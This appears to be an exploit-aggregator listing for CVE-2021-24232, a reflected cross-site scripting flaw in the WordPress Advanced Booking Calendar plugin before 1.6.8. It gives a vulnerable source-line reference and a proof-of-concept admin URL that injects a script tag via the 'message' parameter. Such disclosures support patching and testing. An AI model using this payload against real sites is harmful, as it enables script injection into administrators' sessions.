Exploit for Advanced Booking Calendar < 1.6.8 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24232

Name: Exploit for Advanced Booking Calendar < 1.6.8 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24232
Rating: 5 (285 reviews)

2021-03-30 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:F06629B5-8B15-48EB-A7A7-78B693E06B71
https://plugins.trac.wordpress.org/browser/advanced-booking-calendar/tags/1.6.7/backend/settings.php#L550

/wp-admin/admin.php?page=advanced-booking-calendar-show-settings&setting=licenseKeyError&message=<script>alert(123)</script>